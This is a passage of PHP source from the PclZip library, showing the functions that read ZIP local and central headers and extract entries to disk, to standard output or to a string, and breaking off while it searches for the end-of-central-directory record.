          $this->privSwapBackMagicQuotes();

          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

          // ----- Return
          return PclZip::errorCode();
        }

        // ----- Look for extraction as string
        if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {

          $v_string = '';

          // ----- Extracting the file
          $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options);
          if ($v_result1 < 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();
            return $v_result1;
          }

          // ----- Get the only interesting attributes
          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
          {
            // ----- Close the zip file
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();

            return $v_result;
          }

          // ----- Set the file content
          $p_file_list[$v_nb_extracted]['content'] = $v_string;

          // ----- Next extracted file
          $v_nb_extracted++;

          // ----- Look for user callback abort
          if ($v_result1 == 2) {
          	break;
          }
        }
        // ----- Look for extraction in standard output
        elseif (   (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
		        && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
          // ----- Extracting the file in standard output
          $v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
          if ($v_result1 < 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();
            return $v_result1;
          }

          // ----- Get the only interesting attributes
          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();
            return $v_result;
          }

          // ----- Look for user callback abort
          if ($v_result1 == 2) {
          	break;
          }
        }
        // ----- Look for normal extraction
        else {
          // ----- Extracting the file
          $v_result1 = $this->privExtractFile($v_header,
		                                      $p_path, $p_remove_path,
											  $p_remove_all_path,
											  $p_options);
          if ($v_result1 < 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();
            return $v_result1;
          }

          // ----- Get the only interesting attributes
          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
          {
            // ----- Close the zip file
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();

            return $v_result;
          }

          // ----- Look for user callback abort
          if ($v_result1 == 2) {
          	break;
          }
        }
      }
    }

    // ----- Close the zip file
    $this->privCloseFd();
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractFile()
  // Description :
  // Parameters :
  // Return Values :
  //
  // 1 : ... ?
  // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback
  // --------------------------------------------------------------------------------
  function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
  {
    $v_result=1;

    // ----- Read the file header
    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
    {
      // ----- Return
      return $v_result;
    }


    // ----- Check that the file header is coherent with $p_entry info
    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
        // TBC
    }

    // ----- Look for all path to remove
    if ($p_remove_all_path == true) {
        // ----- Look for folder entry that not need to be extracted
        if (($p_entry['external']&0x00000010)==0x00000010) {

            $p_entry['status'] = "filtered";

            return $v_result;
        }

        // ----- Get the basename of the path
        $p_entry['filename'] = basename($p_entry['filename']);
    }

    // ----- Look for path to remove
    else if ($p_remove_path != "")
    {
      if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
      {

        // ----- Change the file status
        $p_entry['status'] = "filtered";

        // ----- Return
        return $v_result;
      }

      $p_remove_path_size = strlen($p_remove_path);
      if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
      {

        // ----- Remove the path
        $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);

      }
    }

    // ----- Add the path
    if ($p_path != '') {
      $p_entry['filename'] = $p_path."/".$p_entry['filename'];
    }

    // ----- Check a base_dir_restriction
    if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
      $v_inclusion
      = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
                                $p_entry['filename']);
      if ($v_inclusion == 0) {

        PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
			                     "Filename '".$p_entry['filename']."' is "
								 ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");

        return PclZip::errorCode();
      }
    }

    // ----- Look for pre-extract callback
    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
      if ($v_result == 0) {
        // ----- Change the file status
        $p_entry['status'] = "skipped";
        $v_result = 1;
      }

      // ----- Look for abort result
      if ($v_result == 2) {
        // ----- This status is internal and will be changed in 'skipped'
        $p_entry['status'] = "aborted";
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }

      // ----- Update the information
      // Only some fields can be modified
      $p_entry['filename'] = $v_local_header['filename'];
    }


    // ----- Look if extraction should be done
    if ($p_entry['status'] == 'ok') {

    // ----- Look for specific actions while the file exist
    if (file_exists($p_entry['filename']))
    {

      // ----- Look if file is a directory
      if (is_dir($p_entry['filename']))
      {

        // ----- Change the file status
        $p_entry['status'] = "already_a_directory";

        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
        // For historical reason first PclZip implementation does not stop
        // when this kind of error occurs.
        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

            PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
			                     "Filename '".$p_entry['filename']."' is "
								 ."already used by an existing directory");

            return PclZip::errorCode();
		    }
      }
      // ----- Look if file is write protected
      else if (!is_writeable($p_entry['filename']))
      {

        // ----- Change the file status
        $p_entry['status'] = "write_protected";

        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
        // For historical reason first PclZip implementation does not stop
        // when this kind of error occurs.
        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

            PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
			                     "Filename '".$p_entry['filename']."' exists "
								 ."and is write protected");

            return PclZip::errorCode();
		    }
      }

      // ----- Look if the extracted file is older
      else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
      {
        // ----- Change the file status
        if (   (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
		    && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
	  	  }
		    else {
            $p_entry['status'] = "newer_exist";

            // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
            // For historical reason first PclZip implementation does not stop
            // when this kind of error occurs.
            if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		        && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

                PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
			             "Newer version of '".$p_entry['filename']."' exists "
					    ."and option PCLZIP_OPT_REPLACE_NEWER is not selected");

                return PclZip::errorCode();
		      }
		    }
      }
      else {
      }
    }

    // ----- Check the directory availability and create it if necessary
    else {
      if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
        $v_dir_to_check = $p_entry['filename'];
      else if (!strstr($p_entry['filename'], "/"))
        $v_dir_to_check = "";
      else
        $v_dir_to_check = dirname($p_entry['filename']);

        if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {

          // ----- Change the file status
          $p_entry['status'] = "path_creation_fail";

          // ----- Return
          //return $v_result;
          $v_result = 1;
        }
      }
    }

    // ----- Look if extraction should be done
    if ($p_entry['status'] == 'ok') {

      // ----- Do the extraction (if not a folder)
      if (!(($p_entry['external']&0x00000010)==0x00000010))
      {
        // ----- Look for not compressed file
        if ($p_entry['compression'] == 0) {

    		  // ----- Opening destination file
          if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
          {

            // ----- Change the file status
            $p_entry['status'] = "write_error";

            // ----- Return
            return $v_result;
          }


          // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
          $v_size = $p_entry['compressed_size'];
          while ($v_size != 0)
          {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer = @fread($this->zip_fd, $v_read_size);
            /* Try to speed up the code
            $v_binary_data = pack('a'.$v_read_size, $v_buffer);
            @fwrite($v_dest_file, $v_binary_data, $v_read_size);
            */
            @fwrite($v_dest_file, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
          }

          // ----- Closing the destination file
          fclose($v_dest_file);

          // ----- Change the file mtime
          touch($p_entry['filename'], $p_entry['mtime']);


        }
        else {
          // ----- TBC
          // Need to be finished
          if (($p_entry['flag'] & 1) == 1) {
            PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.');
            return PclZip::errorCode();
          }


          // ----- Look for using temporary file to unzip
          if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
              && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
                  || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
                      && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) {
            $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
            if ($v_result < PCLZIP_ERR_NO_ERROR) {
              return $v_result;
            }
          }

          // ----- Look for extract in memory
          else {


            // ----- Read the compressed file in a buffer (one shot)
            if ($p_entry['compressed_size'] > 0) {
              $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
            }
            else {
              $v_buffer = '';
            }

            // ----- Decompress the file
            $v_file_content = @gzinflate($v_buffer);
            unset($v_buffer);
            if ($v_file_content === FALSE) {

              // ----- Change the file status
              // TBC
              $p_entry['status'] = "error";

              return $v_result;
            }

            // ----- Opening destination file
            if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {

              // ----- Change the file status
              $p_entry['status'] = "write_error";

              return $v_result;
            }

            // ----- Write the uncompressed data
            @fwrite($v_dest_file, $v_file_content, $p_entry['size']);
            unset($v_file_content);

            // ----- Closing the destination file
            @fclose($v_dest_file);

          }

          // ----- Change the file mtime
          @touch($p_entry['filename'], $p_entry['mtime']);
        }

        // ----- Look for chmod option
        if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {

          // ----- Change the mode of the file
          @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
        }

      }
    }

  	// ----- Change abort status
  	if ($p_entry['status'] == "aborted") {
        $p_entry['status'] = "skipped";
  	}

    // ----- Look for post-extract callback
    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

      // ----- Look for abort result
      if ($v_result == 2) {
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractFileUsingTempFile()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privExtractFileUsingTempFile(&$p_entry, &$p_options)
  {
    $v_result=1;

    // ----- Creates a temporary file
    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
    if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
      fclose($v_file);
      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
      return PclZip::errorCode();
    }


    // ----- Write gz file format header
    $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
    @fwrite($v_dest_file, $v_binary_data, 10);

    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
    $v_size = $p_entry['compressed_size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($this->zip_fd, $v_read_size);
      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
      @fwrite($v_dest_file, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Write gz file format footer
    $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
    @fwrite($v_dest_file, $v_binary_data, 8);

    // ----- Close the temporary file
    @fclose($v_dest_file);

    // ----- Opening destination file
    if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
      $p_entry['status'] = "write_error";
      return $v_result;
    }

    // ----- Open the temporary gz file
    if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
      @fclose($v_dest_file);
      $p_entry['status'] = "read_error";
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
      return PclZip::errorCode();
    }


    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
    $v_size = $p_entry['size'];
    while ($v_size != 0) {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @gzread($v_src_file, $v_read_size);
      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
      @fwrite($v_dest_file, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }
    @fclose($v_dest_file);
    @gzclose($v_src_file);

    // ----- Delete the temporary file
    @unlink($v_gzip_temp_name);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractFileInOutput()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privExtractFileInOutput(&$p_entry, &$p_options)
  {
    $v_result=1;

    // ----- Read the file header
    if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
      return $v_result;
    }


    // ----- Check that the file header is coherent with $p_entry info
    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
        // TBC
    }

    // ----- Look for pre-extract callback
    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
//      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
      if ($v_result == 0) {
        // ----- Change the file status
        $p_entry['status'] = "skipped";
        $v_result = 1;
      }

      // ----- Look for abort result
      if ($v_result == 2) {
        // ----- This status is internal and will be changed in 'skipped'
        $p_entry['status'] = "aborted";
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }

      // ----- Update the information
      // Only some fields can be modified
      $p_entry['filename'] = $v_local_header['filename'];
    }

    // ----- Trace

    // ----- Look if extraction should be done
    if ($p_entry['status'] == 'ok') {

      // ----- Do the extraction (if not a folder)
      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
        // ----- Look for not compressed file
        if ($p_entry['compressed_size'] == $p_entry['size']) {

          // ----- Read the file in a buffer (one shot)
          if ($p_entry['compressed_size'] > 0) {
            $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
          }
          else {
            $v_buffer = '';
          }

          // ----- Send the file to the output
          echo $v_buffer;
          unset($v_buffer);
        }
        else {

          // ----- Read the compressed file in a buffer (one shot)
          if ($p_entry['compressed_size'] > 0) {
            $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
          }
          else {
            $v_buffer = '';
          }

          // ----- Decompress the file
          $v_file_content = gzinflate($v_buffer);
          unset($v_buffer);

          // ----- Send the file to the output
          echo $v_file_content;
          unset($v_file_content);
        }
      }
    }

	// ----- Change abort status
	if ($p_entry['status'] == "aborted") {
      $p_entry['status'] = "skipped";
	}

    // ----- Look for post-extract callback
    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

      // ----- Look for abort result
      if ($v_result == 2) {
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }
    }

    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractFileAsString()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)
  {
    $v_result=1;

    // ----- Read the file header
    $v_header = array();
    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
    {
      // ----- Return
      return $v_result;
    }


    // ----- Check that the file header is coherent with $p_entry info
    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
        // TBC
    }

    // ----- Look for pre-extract callback
    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
      if ($v_result == 0) {
        // ----- Change the file status
        $p_entry['status'] = "skipped";
        $v_result = 1;
      }

      // ----- Look for abort result
      if ($v_result == 2) {
        // ----- This status is internal and will be changed in 'skipped'
        $p_entry['status'] = "aborted";
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }

      // ----- Update the information
      // Only some fields can be modified
      $p_entry['filename'] = $v_local_header['filename'];
    }


    // ----- Look if extraction should be done
    if ($p_entry['status'] == 'ok') {

      // ----- Do the extraction (if not a folder)
      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
        // ----- Look for not compressed file
  //      if ($p_entry['compressed_size'] == $p_entry['size'])
        if ($p_entry['compression'] == 0) {

          // ----- Reading the file
          if ($p_entry['compressed_size'] > 0) {
            $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
          }
          else {
            $p_string = '';
          }
        }
        else {

          // ----- Reading the file
          if ($p_entry['compressed_size'] > 0) {
            $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
          }
          else {
            $v_data = '';
          }

          // ----- Decompress the file
          if (($p_string = @gzinflate($v_data)) === FALSE) {
              // TBC
          }
        }

        // ----- Trace
      }
      else {
          // TBC : error : can not extract a folder in a string
      }

    }

  	// ----- Change abort status
  	if ($p_entry['status'] == "aborted") {
        $p_entry['status'] = "skipped";
  	}

    // ----- Look for post-extract callback
    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Swap the content to header
      $v_local_header['content'] = $p_string;
      $p_string = '';

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);

      // ----- Swap back the content to header
      $p_string = $v_local_header['content'];
      unset($v_local_header['content']);

      // ----- Look for abort result
      if ($v_result == 2) {
      	$v_result = PCLZIP_ERR_USER_ABORTED;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privReadFileHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privReadFileHeader(&$p_header)
  {
    $v_result=1;

    // ----- Read the 4 bytes signature
    $v_binary_data = @fread($this->zip_fd, 4);
    $v_data = unpack('Vid', $v_binary_data);

    // ----- Check signature
    if ($v_data['id'] != 0x04034b50)
    {

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read the first 42 bytes of the header
    $v_binary_data = fread($this->zip_fd, 26);

    // ----- Look for invalid block size
    if (strlen($v_binary_data) != 26)
    {
      $p_header['filename'] = "";
      $p_header['status'] = "invalid_header";

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Extract the values
    $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);

    // ----- Get filename
    $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);

    // ----- Get extra_fields
    if ($v_data['extra_len'] != 0) {
      $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
    }
    else {
      $p_header['extra'] = '';
    }

    // ----- Extract properties
    $p_header['version_extracted'] = $v_data['version'];
    $p_header['compression'] = $v_data['compression'];
    $p_header['size'] = $v_data['size'];
    $p_header['compressed_size'] = $v_data['compressed_size'];
    $p_header['crc'] = $v_data['crc'];
    $p_header['flag'] = $v_data['flag'];
    $p_header['filename_len'] = $v_data['filename_len'];

    // ----- Recuperate date in UNIX format
    $p_header['mdate'] = $v_data['mdate'];
    $p_header['mtime'] = $v_data['mtime'];
    if ($p_header['mdate'] && $p_header['mtime'])
    {
      // ----- Extract time
      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
      $v_seconde = ($p_header['mtime'] & 0x001F)*2;

      // ----- Extract date
      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
      $v_day = $p_header['mdate'] & 0x001F;

      // ----- Get UNIX date format
      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);

    }
    else
    {
      $p_header['mtime'] = time();
    }

    // TBC
    //for(reset($v_data); $key = key($v_data); next($v_data)) {
    //}

    // ----- Set the stored filename
    $p_header['stored_filename'] = $p_header['filename'];

    // ----- Set the status field
    $p_header['status'] = "ok";

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privReadCentralFileHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privReadCentralFileHeader(&$p_header)
  {
    $v_result=1;

    // ----- Read the 4 bytes signature
    $v_binary_data = @fread($this->zip_fd, 4);
    $v_data = unpack('Vid', $v_binary_data);

    // ----- Check signature
    if ($v_data['id'] != 0x02014b50)
    {

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read the first 42 bytes of the header
    $v_binary_data = fread($this->zip_fd, 42);

    // ----- Look for invalid block size
    if (strlen($v_binary_data) != 42)
    {
      $p_header['filename'] = "";
      $p_header['status'] = "invalid_header";

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Extract the values
    $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);

    // ----- Get filename
    if ($p_header['filename_len'] != 0)
      $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
    else
      $p_header['filename'] = '';

    // ----- Get extra
    if ($p_header['extra_len'] != 0)
      $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
    else
      $p_header['extra'] = '';

    // ----- Get comment
    if ($p_header['comment_len'] != 0)
      $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
    else
      $p_header['comment'] = '';

    // ----- Extract properties

    // ----- Recuperate date in UNIX format
    //if ($p_header['mdate'] && $p_header['mtime'])
    // TBC : bug : this was ignoring time with 0/0/0
    if (1)
    {
      // ----- Extract time
      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
      $v_seconde = ($p_header['mtime'] & 0x001F)*2;

      // ----- Extract date
      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
      $v_day = $p_header['mdate'] & 0x001F;

      // ----- Get UNIX date format
      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);

    }
    else
    {
      $p_header['mtime'] = time();
    }

    // ----- Set the stored filename
    $p_header['stored_filename'] = $p_header['filename'];

    // ----- Set default status to ok
    $p_header['status'] = 'ok';

    // ----- Look if it is a directory
    if (substr($p_header['filename'], -1) == '/') {
      //$p_header['external'] = 0x41FF0010;
      $p_header['external'] = 0x00000010;
    }


    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privCheckFileHeaders()
  // Description :
  // Parameters :
  // Return Values :
  //   1 on success,
  //   0 on error;
  // --------------------------------------------------------------------------------
  function privCheckFileHeaders(&$p_local_header, &$p_central_header)
  {
    $v_result=1;

  	// ----- Check the static values
  	// TBC
  	if ($p_local_header['filename'] != $p_central_header['filename']) {
  	}
  	if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
  	}
  	if ($p_local_header['flag'] != $p_central_header['flag']) {
  	}
  	if ($p_local_header['compression'] != $p_central_header['compression']) {
  	}
  	if ($p_local_header['mtime'] != $p_central_header['mtime']) {
  	}
  	if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
  	}

  	// ----- Look for flag bit 3
  	if (($p_local_header['flag'] & 8) == 8) {
          $p_local_header['size'] = $p_central_header['size'];
          $p_local_header['compressed_size'] = $p_central_header['compressed_size'];
          $p_local_header['crc'] = $p_central_header['crc'];
  	}

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privReadEndCentralDir()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privReadEndCentralDir(&$p_central_dir)
  {
    $v_result=1;

    // ----- Go to the end of the zip file
    $v_size = filesize($this->zipname);
    @fseek($this->zip_fd, $v_size);
    if (@ftell($this->zip_fd) != $v_size)
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- First try : look if this is an archive with no commentaries (most of the time)
    // in this case the end of central dir is at 22 bytes of the file end
    $v_found = 0;
    if ($v_size > 26) {
      @fseek($this->zip_fd, $v_size-22);
      if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
      {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Read for bytes
      $v_binary_data = @fread($this->zip_fd, 4);
      $v_data = @unpack('Vid', $v_binary_data);

      // ----- Check signature
      if ($v_data['id'] == 0x06054b50) {
        $v_found = 1;
      }

      $v_pos = ftell($this->zip_fd);
    }

    // ----- Go back to the maximum possible size of the Central Dir End Record
    if (!$v_found) {
      $v_maximum_size = 65557; // 0xFFFF + 22;
      if ($v_maximum_size > $v_size)
        $v_maximum_size = $v_size;
      @fseek($this->zip_fd, $v_size-$v_maximum_size);
      if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
      {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Read byte per byte in order to find the signature
      $v_pos = ftell($this->zip_fd);
      $v_bytes = 0x00000000;
      while ($v_pos < $v_size)
      {
        // ----- Read a byte
        $v_byte = @fread($this->zip_fd, 1);

        // -----  Add the byte
        //$v_bytes = ($v_bytes << 8) | Ord($v_byte);
        // Note we mask the old value down such that once shifted we can never end up with more than a 32bit number
        // Otherwise on systems where we have 64bit integers the check below for the magic number will fail.
        $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte);

        // ----- Compare the bytes
        if ($v_bytes == 0x504b0506)
        {
          $v_pos++;
          break;
        }

        $v_pos++;
      }

      // ----- Look if not found end of central dir
      if ($v_pos == $v_size)
      {

        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");

        // ----- Return
        return PclZip::errorCode();
